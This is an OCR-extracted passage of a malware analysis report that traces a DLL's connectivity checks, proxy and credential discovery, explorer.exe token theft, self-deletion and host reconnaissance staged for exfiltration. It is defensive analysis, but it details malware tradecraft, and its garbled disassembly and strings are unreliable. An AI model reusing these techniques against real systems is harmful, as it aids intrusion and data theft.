ODB7E7BS|61 70 2C 20|69 6D 61 67|65 2F 6A 70|65 67 2C 20|ap, image/jpea, pepsEin |
0OB7E7C8|69 6D 61 67|65 2F 70 6A[70 65 67 2C|20 61 70 70| image/piped, app 00B7E a4 || €9672FEs
0OB7E7D8|6C 69 63 61|74 63 6F GE[2F 78 2D 73|68 6F &3 6B|lication/x-shock CFC s || ESSASEEE
OOBFE7ES|77 61 76 65 (2D 66 6C 61(73 68 2C 20|2A 2F 2A 0D|wave-flash, =/=, 00B7E7AC || e567616D
0OBFE7FS|0A 41 63 63|65 70 74 2D|4C 61 GE &7 |75 61 &7 65| .Accept-Language |k
0OBFEBOS|3A 20 65 GE|2D 75 73 OD[0A 50 72 6F |78 79 2D 43|: en-us..Proxy-c 24 || 6p746962
OOBYES18|6F GE GE 65|63 74 69 G6F|GE 3A 20 4B|65 65 70 2D |onnection: Keep- 58|l 202c7 061
00B7EB28|41 6C 62 76|65 0D 0A 50|72 61 67 €D|61 3A 20 6E|Alive..Pragmai n 00B7ETEC || 67616069
00B7ES38|6F 2D 63 61(63 68 65 00|00 00 CE 00|48 EA B7 00|o-cache...l.Hé.. s || S

Figure 43

The process tries to connect to http://www.microsoft.com/info/privacy_security.htm (this URL used to be available in

the past) in order to verify if there is an internet connection. The HTTP request is shown in figure 44:

[ — e e e e e ey s e -
e| 10001AB8 53 push ebx
e 10001AB9 68 00 01 40 80 push 80400100
e[ 10001ABE 53 push ebx
e (| 10001ABF 53 push ebx
e[ 10001ACO 53 push ebx
s 10001AC1 50 push eax eax: " /info/privacy_security.htm"
& 10001AC2 68 E8 B1 00 10 push fastuserswitchingcompatibilityex.100081E4 1000B1E8: "GET"
e | 1000147 FF 75 EC push dword ptr ss:[febp-14
EIP > FF 15 14 92 00 10 €@ dword ptr ds:[<&HttpOpenRequestA=]
b errrrrr s Al I Ve
dword ptr [ebp+8]=[00B7F110 &"http://www.microsoft.com/info/privacy_security.htm"]=1001718C "http://www.microsoft.com/info/privacy_security.htm"

eax=00B7EFA8 "/info/privacy_security.htm"

.text:100014D2 fastuserswitchingcompatibilityex.d11:$1aD2 #EDZ

00CCO008

1000B1ES| "GET"

DOB7EFAS8| " /info/privacy_security.htm"
00000000

Woump1  @Woump2  WWoump3  oump4  Bloumps @ watch1  [esllocad B S
Hex ASCIT ~
68 74 74 7O0|3A 2F 2F 77|77 77 2E 6D |69 63 72 6F| http://www.micro
13 GF 66 74|2E 63 6F 6D |2F 69 6E 66|6F 2F 70 72|soft.com/info/pr
69 76 61 63|79 5F 73 65|63 75 72 69|74 79 2E 68| ivacy_security.h

746D 00 00(00 00 OO0 Q0|00 00 00 00|00 00 OO0 OO(EM. . cccevvnnnnnn
an nn an anlan an An anlan An an anlan an A an

1
=]

1001718C
1001719C
10017 1AC
100171BC

TAnITIAe

GO0 m e
=]
=1
=1
=1
=}
=]
=]
=}

00000000

Figure 44

If the connection is successful the following strings will be added at the end of the .log file:
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89 method 1:

a0

51 USEI:-

a2

55 <Response from the server>

Figure 45

Furthermore UP (use proxy indicator) is set to 0 and it adds a value called CheckedSuccess (set to 1) to config_t.dat

using WritePrivateProfileString A API:

push eax
63 30 B3 00 10 push fastuser tchingcompatibilityex. 10008330
68 6C B2 D0 10 push fastuserswitchingcompatibilityex.1000836C
63 D0 B2 00 10 push fastuserswitchingcompatibilityex. 10008300
FF 15 A0 90 00 10 €all dword ptr ds:[<&writePrivateProfilestringa>]
>
dword ptr [100090A0 <fastUSerswitchingcompatibilityex.&Nri1TerrivateProti1estringA>]=<Kernel32. writePrivaterrof11estringAs
.text:10007392 fastuserswitchingcompatibilityex.d11:$7392 #6792
| 100083D0] "Other "
Weoump 1  @oumpz  MDump3  MDump4  WhDump5  ® wath1 kel Laml# » EErEnE || 1oo0=3sc| “upt
R T | AscIT I o087Fo1C | 1 e L
10008330 [30] 00 00 uo|31 30 uo 00[50 45 00 00]50 57 00 00|D...10..PF..PW.. | D0BZED20 00RO [HIC DMWENI DWS YK sy s TR\ ConhI gL
push eax eax: "C: \\WINDOWSY\ system\\ci
aa S0 B3 00 10 push fastusersn\:c n| Tityex. 10008350
€8 58 B8 00 10 push fastuser gcompatibilityex. 10008
€8 74 B2 00 10 push fartusersutchngcmpanm'mtyex.mnna 4
FF 15 AD 90 00 10 dword ptr ds:[<&WritePrivateProfilestringa>]
>
dword ptr [10009S0A0 <fastuSerswiTtchingcompatibilityex.&WritePriVateProfilestringA>]=<Kernel32. NriterrivateProtilestringAs
. text:100073E7 fastuserswitchingcompatibilityex.d11:573E7 #67E7

1000B874

WWoump1  @hoump2  @oump3  @pump4  @Woumps @ watchi  [x=lLocalst P [O0ETRcen| 10008858

. || 00B7F024| 10008350
C

|Mdress | Asc11 |
10008350311 00 00 00[25 73 5C 73[79 73 74 65]€D 5C 63 6F[4...%s\svstem\col = = =

"otherTwo™

“Checkedsuccess”
astuserswitchingcompatibili tyex 10008350
“C:\\WINDOWS\ \system\\config_

Figure 46

Now, if the connection was unsuccessful , an “Method1 Fail!!!!!” message is written to DLLLoader32_58D1.log.
Process32First and Process32Next functions are used to find “EXPLORER.exe” process and then the process tries to

open it using OpenProcess API:

#|| 1000155E E8 75 74 00 0O gam <fastuserswitchingcompatibilityex.Process32First
e |l 10001563 8B 3D 40 90 00 10 mov edi,dword ptr ds:[<&CloseHandlex] edi:CloseHandle
10001569 85 CO test eax,eax
10001568 v 74 63 je fastuser‘smtcmngcampat'ibﬂ'ityex.109015[}0
10001560 FF 75 0C push dword ptr ss:[Qebp+Cl [ebp+C] : "EXPLORER. EXE™
10001570 8B 35 94 91 00 10 mov_esi,dword ptr ds: [(&scr‘upr:—] esi:strupr
100015 FF D& Eam es1 esiistrupr
10001578 59 pop ecx ecx: "EXPLORER. EXE"
10001579 50 push eax
1000157A 8D 85 FB FE FF FF lea eax,dword ptr ss:[ebp-105[
10001580 50 push eax
10001581 FF D& eam esi Es'l:ft upr
10001583 59 pop ecx ecx: "EXPLORER.EXE"
10001584 50 push eax
10001585 ES BC 74 00 0O €all <fastuserswitchingcompatibilityex.strcmp>
10001584 59 pop ecx ecx: "EXPLORER.EXE"
10001588 85 CO test eax,eax
10001580 59 pop ecx ecx: "EXPLORER. EXE"
1000158E v 74 16 je fastuser‘smtch1ngcumpat1b1'l1tyex 100015A6
10001530 8D 85 D4 FE FF FF lea eax,dword ptr ss:[flebp-12
10001596 50 push eax
10001537 53 push ebx
10001598 ES 35 74 00 0O €all <fastuserswitchingcompatibilityex.Process3zNext>
10001590 B85 COD test eax,eax
1000159F v 74 2F je fastuserswitchingcompatibilityex.100015D0
®| 10001541 FF 75 OC push dword ptr ss:[febp+C [ebp+C] : "EXPLORER. EXE™
10001544 ~ EB DO jmp fastuserswitchingcompatibilityex.10001576
B 100015A6 FF BS DC FE FF FF push dword ptr ss:|[Jebp-12z4]
L00015AC 6A 00
100015AE &8 00 04 00 0O
FF 15 50 90 00 10 penProcess>]
- >
dword ptr [10009050 <fastuserswitchingcompatibilityex.&DpenProcess>]=<kernel3z.0penProcess>
.text: 10001583 fastuserswitchingcompatibilityex.dl1:$15B3 #9B3
Wpimp1  @hoump2  @Mpump3  @Houmpa  Woumps @8 watch1  -llocal 5 il fRoaacees DDDDD;gg
Address | Hex lascIz | | SRAEERES || DonnIn EO

Figure 47

Basically the attacker’s purpose is to steal “explorer.exe” process’ token by calling OpenProcessToken in order to open
the access token associated with “explorer.exe” and then it uses ImpersonateLoggedOnUser function to impersonate

the security context of a user. The function calls are displayed in figure 48 and figure 49, respectively.
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®| 10001589 FF 75 08 push dword ptr ss:[lebp+sl
e | 1000158BC 8B FO mov esi,eax
®| 100015BE 68 FF 01 OF 00 push FOLFF
®| 100015C3 56 push esi
EIP, > FF 15 2C 90 00 10 call dword ptr ds:[<&0penProcessToken=]
. >
dword ptr [1000902C <fastuserswitchingcompatibilityex.&0penProcessTokens]=<advapi3z.openProcessTokens
.text:100015C4 Tastuserswitchingcompatibilityex.d11:$15C4 #9C4
x 000002FC
Woumpi  @pumpz  @Woump3  @lpumpa  @loumps @ watch1  x=lLocak 2 stilick w 0DOFOLFF
[address [Hex lascIz | | 004FCDCE || 004FF41C
Figure 48
®| 10005F51 FF 75 EO push dword ptr ss:[ebp-20f
EF— FF 15 10 90 00 10 call dword ptr ds:[<&ImpersonateLoggedonUser>] v

dword ptr [10009010 <fastuserswitchingcompatibilityex.&ImpersonateLoggedonuUser:>]=<advapi3z2.ImpersonatelLoggedOonUser>

.text:10005F54 fastuserswitchingcompatibilityex.dl1:$5F54 #5354

A P 1 Sl e e [ S [T S—— Sl e © [ T ST ) pud .o RBRISI] OOOGO300

Figure 49

The process is using RegOpenKeyExA to open
“HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet Settings” registry key and then it

extracts “ProxyEnable” value to see if the computer uses a proxy server:

| 10006180 50 push eax
- 68 19 00 02 00 push 20019
- 57 push edi
. 638 50 BD 00 10 push fastuserswitchingcompatibilityex.1000BD50 1000BD50: "software’\\Microsofti\\windows\\CL
- 68 01 00 00 80 push 50000001
BE——— FF 15 08 90 00 10 €all dword ptr ds=:[<&RegOpenkKeyExA>]
. 8D 45 F4 lea eax,dword ptr ss:|[ebp-Cj)
. C7 45 F4 04 00 00 00 mov dword ptr ss:[febp-cl,4
B 50 push eax
. 8D 45 EC lea eax,dword ptr ss:[febp-14]
- 50 push
. 57 push edi
. 57 push edi
. 8B 3D 04 90 00 10 mov edi,dword ptr ds:[<&RegQueryValueExAs]
o[ 1000610E 68 24 BD 00 10 push fastuserswitchingcompatibilityex.10008D44 1000BD44: "ProxyEnable”
o[ 100061E3 FF 75 FO push dword ptr ss:[febp-10]
|| 100061E6 FF D7 call edi .
o [ o i P T e
< >
edi=0
.text:100061E6 Fastuserswitchingcompatibilityex.d11:$61E6 #55EE
" . . a g i 80000001
Woumpt  @Houmpz  @oump3  B4pump4  WHoumps @ wawh1 MRS ECEEE | 100DEDE0| “Softwar e\ hi Crosofr, Wi ndowsh \Currentversiony,Internet Settings”
004FCEFC || 00000001
g’g:;g:; ::xm T s * | oosFcFoo || oooz0019
|nn 00 00 nnlnn 00 00 nnlnn 00 00 OO(M...---0.onnn- 004ECEDA || DOAFE43C
anascezalon an nan anlon an an anlan an an anlan nn anoon

Figure 50

Also same function is used to get the “ProxyServer” (hostnames/IPs of the proxy server on the network) and
“ProxyOverride” (hostnames/IPs that bypass the proxy server) values from the same registry key. The extraction of

“ProxyServer” value is shown below:

. 50 push eax
. 8D 85 D8 F& FF FF lea eax,dword ptr ss:[ebp-925])
. 50 push eax
. 6A 00 push 0
. 64 00 push 0
. 63 38 BD 00 10 push fastuserswitchingcompatibilityex.1000BD38 1000BD38: "Proxyserver"
- FF 75 FO push dword ptr ss:[febp-10f
FE———s FF D7 call edi edi:RegaueryvalueExa
o s SRRt e e
>

edi=<advapi32.RegQueryvalueExA> (7760FADOD)

.Text:10006206 fastuserswitchingcompatibilityex.d11:$6206 #5606

Woump1  @pump2z @Woumps  @houmps  @pumps @ warch1  IvslLocals (}’ Struct

004FCEF4
D04FCEFS

Address | Hex | AscIT I | ~] Goirczre
004FCF14 [0X 00 00 00|00 00 OO0 00|00 00 O0 0000 00 00 00| M. . v nnnnnn (l(;-tchfim
004FCF24 |00 00 00 00|00 00 OO0 00|00 00 00 Q0000 00 00 00| ...cuuueennnnnns UU-‘FC;:U-‘

Figure 51

As in the first method, the attacker verifies if he’s able to connect to the same URL using the proxy settings he found
in the registry. If the connection is successful it will append the content of that page to the .log file together with some

new parameters:
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PRttt iditiiiiiiiteeeiiiei

1 non

method 3:
100 User:-

102 ProxyIP:
103 ProxyBypass:
104 User:

105 Pass:
108  <Response from the server=

[T BT BT s BT T s ]

(TSR]

Figure 52

Also, because the method works, the malicious process modifies the config_t.dat file by setting UP=1, PF=10 and then

PS (proxy server), PP (proxy port), PU (proxy user), PW (proxy password) are set according to the settings found. If

message is appended to the .log file if the network connection isn’t successful.

If all methods fail, the infection will stop and the following operations are performed (self-deleting malware):
“HKEY_LOCAL_MACHINE\SY STEM\CurrentControlSet\Services\FastUserSwitchingCompatibility\Enum”,
“HKEY_LOCAL_MACHINE\SY STEM\CurrentControlSet\Services\FastUserSwitchingCompatibility\Parameters”,
“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\FastUserSwitchingCompatibility\Security” and
“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\FastUserSwitchingCompatibility” registry keys
are deleted using RegDeleteKeyA function. The following files are deleted as well:
“C:\WINDOWS\system32\enumfs.ini”, “C:\WINDOW S S\system32\dnlist.ini”, “C:\WINDOWS\system32\udidx.ini”,
“C:\WINDOWS\system32\uenumfs.ini” and “C:\WINDOWS\system32\stat_t.ini” (some of them don’t exist at this

time).

If one of the methods enumerated above works, the malicious process sleeps for 60 seconds and then creates another
thread that we’ll call Thread1 , sleeps another 10 seconds, and creates Thread2. The main thread will enter into an
infinite loop until the variable found at 0x100163E8 (absolute address) is set to 3:
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text:18881096 push esi ; dwstackSize
text: 18881097 push esi 3 lpThreadAttributes
Jtext:1ee8lDos call edi ; CreateThread
Jtext: 18881094 mov dword_18817874, eax
+_l N—
 J

il s =]

Jtext:leealDar

Ltext:18868109F loc_ 18881D9F: 3 dwMilliseconds
Ltext:1888109F push lea

Ltext:188810A1 call ebp ; Sleep

Jtext: 18881043 mov eax, dword_188163E8
Lext:1868810A8 cmp eax, 3
Ltext:188810AB jz short loc_leealDB2

I

118881055 call sub_leeasals Ltext:188a1DAD cmp eax, 1

118881054 jmp short loc_18881D0B2 Ltext:18881DBR8 jnz short loc_18881D9F
1 L I Yy

a =

t:leeelDe2

t:18e81DB2 loc_l@e@BlDB2:

t:18881DB2 pop edi

tt:18881063 pop esi

tt:18881DB4 pop ebp

t:18686810B5 retn 8

t£:18881065 ServiceMain endp

L 1eealDBS

Figure 53

Thread1 activity

Firstly the thread retrieves the volume serial number (“A2C9-AD2F”) associated with “C:\” directory using
GetVolumelnformationA function. This number will be used as a host id in the communication with the C2 server as
we will see later on. Also it uses GetComputerNameA API to find the NETBIOS name of the computer,
GetUserNameA API to find the username associated with the current thread, gethostname API to retrieve the host

name for the computer and gethostbyname/inet_ntoa functions to print the IP address of the computer:

FE 5 U PUSN OWOra pIr ss:enp+Cy

FF 75 08 push dword ptr ss:[febp+s] x87
FF 15 34 92 00 10 €all dword ptr ds:[<&gethostnames] x87
85 €0 test eax,eax XET
v 75 47 jne fastuserswitchingcompatibilityex.10003183 x87
FF 75 08 push dword ptr ss:[febp+s] x87
FF 15 38 92 00 10 €all dword ptr ds:[<&gethostbyname>] XB87
8B F8 mov edi,eax edi:CreateThread XEBF
3B FE cmp edi,esi edi:CreateThread
————— v 74 38 je fastuserswitchingcompatibilityex.10003183 x87
8B 47 0OC mov eax,dword ptr ds:[edi+C] XBT
. 8B 04 06 mov eax,dword ptr ds:[esi+eax] x87
. 85 Co test eax,eax =
I ] v 74 2E je fastuserswitchingcompatibilityex.10003183 xsz
H . FF 30 pus ptr ds:[=ax gLa
3 - FF 15 3C 92 00 10 €all dword ptr ds:[<&inet_ntoa>]
! . S0 push eax XB7
i @ 68 A4 B1 00 10 push Tastusers hingcompatibilityex. 10008144 1000B1A4: "%s" x87
: . FF 75 10 push dword ptr ss:[febp+10J X87
' - FF 15 90 91 00 10 €& dword ptr ds:[<&sprintf>] X87
i . FF 75 10 push dword ptr ss:[lebp+10] [,
1 . ES8 88 58 00 00 €811 <fastuserswitchingcompatibilityex.strlen> v
: ol EEiER e oo . Defa
E2 EsER|
dword ptr [1000923C <fastuserswitchingcompatibilityex.&lnet_ntoa»]=<ws2_32.1net_ntoa> 2: |
=]
.Text:10003157 fastuserswitchingcompatibilityex.d11:$3157 #2557 ]4;_2
@4 pump 1 B4 Dump 2 B4 Dump 3 2% Dump 4 2% Dump 5 @ watch 1 [¥=] Locals 4 M} 5 %gg%gig: Tastuserswitchingcompatibilityex. 30016504

Address | Hex | AscIz |
100164F4 |31 39 32 2E|31 36 38 2E |31 2 00| 192, 168. 1644
10016504 |44 45 53 4B[54 4F 50 2D |32 00| DESKTOP-2]
Figure 54
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One more time the “ProductType” value from
“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions” registry key is retrieved as

shown in figure 55:

. 50 push eax eax:"bQ" x87r7
. GA 01 push 1
. 53 push ebx X37Ta
. 68 48 B8 00 10 push fastuserswitchingcompatibilityex.10008848 10008B48: "SYSTEM\\CurrentControlset\\Contri [ yaomy
- 68 02 00 00 BO push 80000002 KGTTWV
B3 FF 15 08 90 00 10 call dword ptr ds: [«RegOpenKeyEm)] 87T,
. 8D 45 DC 1ea eax dword ptr ss:[ebp-2aJ [ebp-24]: "'C:\ \WINDOWS",\SySTem32\,\SysTam_t.i X L
. 50 push ea eax: "bQ” x87TH.
. 2D 85 50 FE FF FF Tea = “dword prr ss:febp-180f
. 50 push ea eax: "bq" X875t
. 53 push e X87SW,
. 53 push ebx X87 SW_
. 68 3C B8 00 10 push fastuserswitchi rgcmrat bilityex.1000883C 10008B3C: "ProductType” X87SW.
. s FF 75 FC push dword ptr b
(10005479 FF 15 04 90 00 10 €all dword ptr wegqueryvaw.:t:x»] v
| i FR—Sein == 5 [pefait(
dword ptr [10009008 <Tastuserswitchingcompatibilityex.sRegopenkeyExA>]=<advapiiz.RegopenkeyEnis . E::
3: [es
L TEXT:10005458 fastuserswitchingcomparibilityex.dll:$545E #485E 3 Esz
@oump 1 @pump2  UMDump3  @Dump4  WuDumps5 @ watch1  Ivellocals ¥ Struct "SYSTEM\\CurrentControlset\\Control\\Productoptions”
Address | Hex [asciz ]
ODBFF26C [94] 00 00 DDlDG 00 00 DDlDZ 00 00 DD‘FD 23 00 un| ............ Bﬂ‘ “hg"
Figure 55

The malicious process enumerates the available disks drives and it’s interested in type 3 drives (DRIVE_FIXED) as

shown in the screenshot below:

text:18885638 mov dword btr febﬁ+varzc;4], ebx
text: 1908563 mov dword ptr [ebp+var 18], ebx
bext:18885641 mov dword ptr [ebptvar_18+4], ebx
text:18085644 call ds:GetLogicalDrives
bext: 18885644 cmp eax, ebx
bext:1808564C mov [ebp+cbData], eax
bext:1888564F jz loc_leeas59s57
g 2 8 =
Ll s =]
Jtext: 18885655 mov [ebp+phkResult], ebx
text.IBBBEESS
.text:18885658 loc_1@@@5658:
.text:18885658 mov eax, [ebpt+cbData]
text:18885658 mov ecx, [ebp+phkResult]
Ltext:188e565E shr eax, cl
Ltext:18885668 cmp eax, ebx
.text:188085662 jz short loc 188856CB

bl a5

dext: 108085664 test
text:18885666 jz

al, 1
short loc_le@assC2

Y

s =

text
text

text

dext:
text:
1 1BBB566E
: 18885678
text:
dext:
dext:
dext:
text:
text:
:188as6s87

leeasbes
legasaah

leease74d
leease??
leease?A
1eeas67B
1eeas67E
legasodd

mov
mov
add
mov
mov
lea
push
mov
call
cmp
jnz

al, cl

[ebp+var_33], 3Ah ; ":'
al, 41h ; 'A°
[ebp+var_32], S5Ch ;
[ehp+RthPathName], al
eax, [ebp+RootPathName]
eax
[ebp+var_31],
ds:GetDriveTypeA
eax, 3

short loc_188@856C2

; lpRootPathName
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Figure 56

RegOpenKeyExA API is utilized to open
“HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0” registry key and then

RegQueryValueEx is used to retrieve “Vendorldentifier”, “Identifier” and “~MHz” values:

50 push eax x87r7

64 01 push 1

53 push ebx x87Ta

65 D& B 00 10 push fastuserswitchingcompatibilityex.100089D8 1000B9D8: "HARDWARE) \DESCRIPTION\\System\\C' | yazmy

68 02 00 00 80 push 80000002 sy

FF 15 08 90 00 10 €all dword ptr ds:[<&RegopenkeyExA>] S

8D 45 FO Tea eax,dword ptr ss:[Jebp-10§

50 push eax XB7TH

8D B5 AD FE FF FF Tea eax,dword ptr ss:[Jebp-160]

50 push eax X875T

53 push ebx X875W

53 push ebx X875

65 C4 B 00 10 push fastuserswitchingcompatibilityex.100083C4 1000B9C4: "Vendor Identifier” X875

FF 75 E4 push dword ptr bp-1C

FF 15 04 90 00 10 call dword ptr ds:[<eRegqueryvalueExas] v

o C— e = Default
dword ptr [10003004 <fastuserswitchingcompatibilityex.&RegQueryValueExA>]=<advapi3z.RegQueryvValueExa> T E:

3: [e

.TexXt:100057D7 fastuserswitchingcompatibilityex.d11:$57D7 #4807 . ES

4% Dump 1 B4 Dump 2 %/ Dump 3 B4 Dump 4 B4 Dump 5 @ watch 1 [*=I Locals ;;’ Struct

Address | Hex | AscIT ] | A
10016DB8 43/ 50 55 3A[20 00 00 nu‘nn 00 00 un‘un 00 00 unl(nu: ........... | ‘
Thntencalnn nn A AN nlarcnn.nn ondon pa s on e R
0 push eax
8D 85 AD FE FF FF Tea eax,dword ptr ss:[[ebp-160]
50 push eax
53 push ebx
53 push ebx
68 B4 B9 00 10 push fastuserswitchingcompatibilityex.10008984 1000B984: "Identifier”
FF 75 E4 push dword pt ebp-1cj
Eg— FF 15 04 90 00 10 call dword pti <&Regqueryvalueexas]
B
dword ptr [10009004 <fastuserswitchingcompatibilityex.&RegQueryValueExA>]=<advapi32.RegQueryValueExA>
.text:10005820 fastuserswitchingcompatibilityex.d11:$582D0 #4C2D
@oumpi  @Hoump2  @pump3  @Ypumpa  @Woumps @ wath1  Ix-llocal Y Struct "Identifier”
Address | Hex | Asc. | |~
OOBFF1EE [0 00 00 00|00 00 0O 00|00 00 00 00[00 0O 00 00 k.. 5
o 00 00 00 00|00 00 00 00[00 0O 00 00|00 0O 0O 0O|.
50 push eax
8D 45 C8 lea eax,dword ptr ss:[febp-3sj
50 push eax
53
53
65 AC B9 00 10 tchingcompatibilityex. L00DBIAC 1000BIAC: "~MHZ "
FF 75 E4 Eebp-1c
FF 15 04 90 00 10 [<sRegqueryvalueExa>]
>

dword ptr [10009004 <fastuserswitchingcompatibilityex.&RegQueryvalueExA>]=<advapi3z.RegQueryvalueExa>

.Text:10005865 fastuserswitchingcompatibilityex.d11:$5865 #4C65

ump ump ump ump ump = Wal ellocals 47 Stru
WWoump1  @hpumpz  @Hoump3  @Houmps  Goumps @ watchi  [x=lLocal ) struct

Address | Hex | Asc1iz ]
10016DBS (43] 50 55 3A[20 2] 75 7465 65 GE 74|69 63 41 4D|EPU: AuthenticAM
10016DC8| 44 20 41 4D (44 36 34 20|46 61 6D 69(6C 79 20 32(D AMDG4 Family 2
Tantennal 33 3n an celea 20 er anlsa 34 an 2 et 7n 7nl2 mndal aa

Figure 57

The process uses GlobalMemoryStatus function to get information about system’s usage of physical and virtual
memory. All the information extracted so far will be stored in a new file called
“C:\Windows\SysWOW64\system_t.dll” in order to exfiltrate it. All translations from chinese to english are provided
to better understand the content of the file: “I1T&#1{5/E” translates to “computer information”, “1+84/” translates to
“computer”, “F 744 translates to username, “Ipihitit” translates to “Ip address”, “32{EZ %" translates to
“operating system”, “F#%#% Z5[8]” translates to “disk space”, “E\f##% Z5[8] A translates to “The total disk space is”,
“F4HiEFL 58] 47 translates to “The remaining disk space is”, “5” translates to “take up”, “¢J¥£N7E” translates to
“physical memory”, “S2#FENFE” translates to “Total physical memory” and “7] FAN7Z” translates to “Available

memory”:

= system_t.dil E3 |
L TEAEE]

= E#N: pesxror-z N

= HAFE: 1R

g4 1Ipihht: 192.168.164.128

5 2 {EFER. Professional, (Build 9200)

o

T EERTEE: BEETTERN 7o, Fl&B T ENz0cE (25,328

8 CPU: AuthenticaiMD AMDE4 Family 23 Model 24 Stepping 1 2096MHZ
o HIERTE: S¥IERTE:2047Me, ORI TF 1 1364MB ((H66.67%)

Figure 58
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Alist of processes is retrieved using Process32First and Process32Next APIs as shown below:

50 push eax
FE 75 [FC push dword ptr ss:[ebp-4]
E8 7A 2ZF 00 00 €all <fastuserswitchingcompatibilityex.Process3zFirst
85 €0 test eax,eax
~ OF 84 88 00 00 00 je fastuserswitchingcompatibilityex.10005AEE
. 658 04 01 00 00 push 104
. 8D 85 F4 FE FF FF lea eax,dword ptr ss:[ebp-10C])
. 6A 0D sh 0
. 50 push eax
. E8 65 2F 00 00 €all <fFastuserswitchingcompatibilityex.memset>
. 83 C4 0OC add esp,C
. 8D 85 FO FD FF FF lea eax,dword ptr ss:[febp-210]
. 50 push eax
. 8D 85 F4 FE FF FF lea eax,dword ptr ss:[febp-10C]
. FF BS D4 FD FF FF push dword ptr ebp-22Cfj
. 68 4C BC 00 10 push fastuserswitchingcompatibilityex.10008C4C 1000BC4C: "wad %shrin"
. 50 push eax
. FF D& gam esi esirsprintf
. 8D 85 CB FC FF FF Tea eax,dword ptr ss:|[Jebp-338
. 68 58 BC 00 10 push fastuserswitchingcompatibilityex.10008C58 1000BC58: "ab”
. 50 push eax
. FF 15 70 91 00 10 €&l dword ptr ds:[<&fopen>]
. 83 C4 18 add esp,13
™ 89 45 F8 mov dword ptr ss:[febp-s],eax
. 85 Co test eax,eax
r . ~ 74 37 je fastuserswitchingcompatibilityex.10005AEA
HE— 8D 85 F4 FE FF FF Tea eax,dword ptr ss:[Jebp-10C]
i . 50 push eax
e E3 3D 2F 00 00 €all <Fastuserswitchingcompatibilityex.strlens
! . FF 75 F8 push dword ptr ss:[febp-s]
Pe 50 push eax
i . 8D 85 F4 FE FF FF lea eax,dword ptr ss:[febp-10C]
i . 6A 01 push 1
) . 50 push eax
4 . EE D7 call edi edi:fwrite
! . FF 75 F8 push dword ptr ss:[febp-&]
i . SADL FF D3 €@l ebx ebx:fclose
H ¢ | 100054D2 83 C4 18 add esp,1s
i e[ 100054D6 8D 85 CC FD FF FF Tea eax,dword ptr ss:[Jebp-234]
i e[ 10005ADC 50 push eax
i o[ 10005400 FF 75 FC push dword ptr ss:[ebp-40
! « [I00DSAED] E8 ED 2E 00 00 call <fastuserswitchingcompatibilityex.Process3ZNexts,

Figure 59

After the operation is complete and the malware obtains the list of processes, it will be appended to system_t.dll (“1
F2%1)3%” translates to “Process list”):

[iHEI+®)

12 0 [System Process]
13 4 System

14 500 smss.exe

15 604 csrss.exe

1s 672 Wwininit.exe

d 5y 684 csrss.exe

18 732 winlogon.exe

19 796 services.exe

20 804 l=ass.exe

21 8834 swvchost.exe

22 892 fontdrvhost.exe
23 8900 fontdrvhost.exe
24 930 swvchost.exe

25 g8 dwm.exe

26 576 swvchost.exe

27 1044 swchost.exe

28 1060 swvchost.exe

29 1076 swvchost.exe

30 1200 swchost.exe

31 12592 Memory Compression
32 1444 swvchost.exe

33 1452 swvchost.exe

34 1544 svchost.exe

35 1552 swvchost.exe

36 1636 swvchost.exe

37 1712 svchost.exe

38 1776 spoolsv.exe

2028 WmiPrvSE.exe

2080 armsvc.exe

2096 swvchost.exe

2112 diskpls.exe

2136 dupscts.exe

2164 IpOverUsbSvc.exe

2220 TenorshareWinadService.exe
2244 VGhuthService.exe

[ BT 2]

IV S S S S S
T S R R
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Figure 60

The next step is to create a pipe using CreatePipe API . This will be used as an inter-process communication

mechanism. It will create a new process “ipconfig /all” which displays the full TCP/IP configuration for all adapters

and the output will be transmitted back to the original process through pipes:

50 push e

BD 85 7C FF FF FF

50

57 push edi

57 push edi

57 push edi

56 push esi

57 push edi

8D 45 €0

57 push

50 push eax

7 push i
B FF 15 DO 90 00 10 call

ax
lea eax,dword ptr ss:lfebp-84]
push eax

edi
dword pEr d5:[<dCreateProcessA>]

SRR cax: "ipconfig fall"

eax: "ipconfig /all"

Tea eax,dword ptr ss:[febp-40]
di

eax: "ipconfig /all”

.Text:10005888 fastuserswitchingcompatibilityex.d11:$5888 #4FB8

dword ptr [10002000 <fastuserswitchingcompatibilityex.&CreateProcessA>]=<kernel3z.CreateProcessa>

Woump1  §4oump2  WWDump3  YWDump4  @WDumps & watcht

[x= Locals

) 00000000
4 Struct 00BFF308

"ipconfig /all™

Address

HEX.

00000000

DOBFF33C 05 38 EC 7A[C8 03 00 00
Z§|00 0O 00 00

€8 D9 F1 00(37 1E AS 44(C0 D9 F] 00

00 00 00 00|00 00 00 00|00 00 00 00|00

00 00 00 00|00 00 00 00|6A 0D 08 40|00

00 00 00 00|00 00 00 00|00 0D 00 00|00

€0l 03 00 00 B0 F7 BF 00
90 1F 00 10 00 00 00 00 &

00 00 00
00 00 0Of..
00 00 0O|..

Figure 61

00000000

00000000
ODBFF2C4

The output of the ipconfig process is saved to system_t.dll as shown in the figure below:

°7 R

Windows IP Configuration

Host Mame iy i
Primary Dns Suffix
Hode Type . . . .

IP Routing Enable H
WIHNS Proxy Enabled. . .
DHS Suffix Search List.

Ethernet adapter EthernetO:

Connection-specific DNS Suffix
Description 5
Physical Address.

DHCP Enabled. 5i 4k
Autoconfiguration Enabled
Link-local IPvEé Address
IPv4 Address.

Subnet Mask

Lease Cbtained.

Lease Expires

Default Gateway

DHCP Server

DHCPve IAID ;
DHCPvE Client DUID.

DHS Servers 5
HNetBIOS5 over Tcpip.

Figure 62

resxror-z NG

Hybrid

No

No

localdomain

localdomain

Intel (R} 82574L Gigabit Network Connection
00-0C-29-25-66-15

Yes

Yes

fed80::bldé:3a45:cafe: 9bee%6 (Preferred)

182.168.164.128 (Preferred)
255.255.255.0

Monday, Nowember 9, 2020 5:16:45 AM
Monday, Nowvember 23, 2020 6:11:13 AM
192.168.164.254

33557545

00-01-00-01-26-R2-SA-CR-00-0C-29-25-66-15
192.168.164.1
Enabled

The malware checks the UP value from config_t.dat using GetPrivateProfileInt function. According to the Kaspersky

report, the content of system_t.dll file will be compressed using a custom Lempel-Ziv-based algorithm and encoded

with a modified Base64 algorithm. The function responsible for this operation and the “modified Base64” alphabet is

displayed in figure 63:
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Figure 63

®( 1000100F 50 push eax
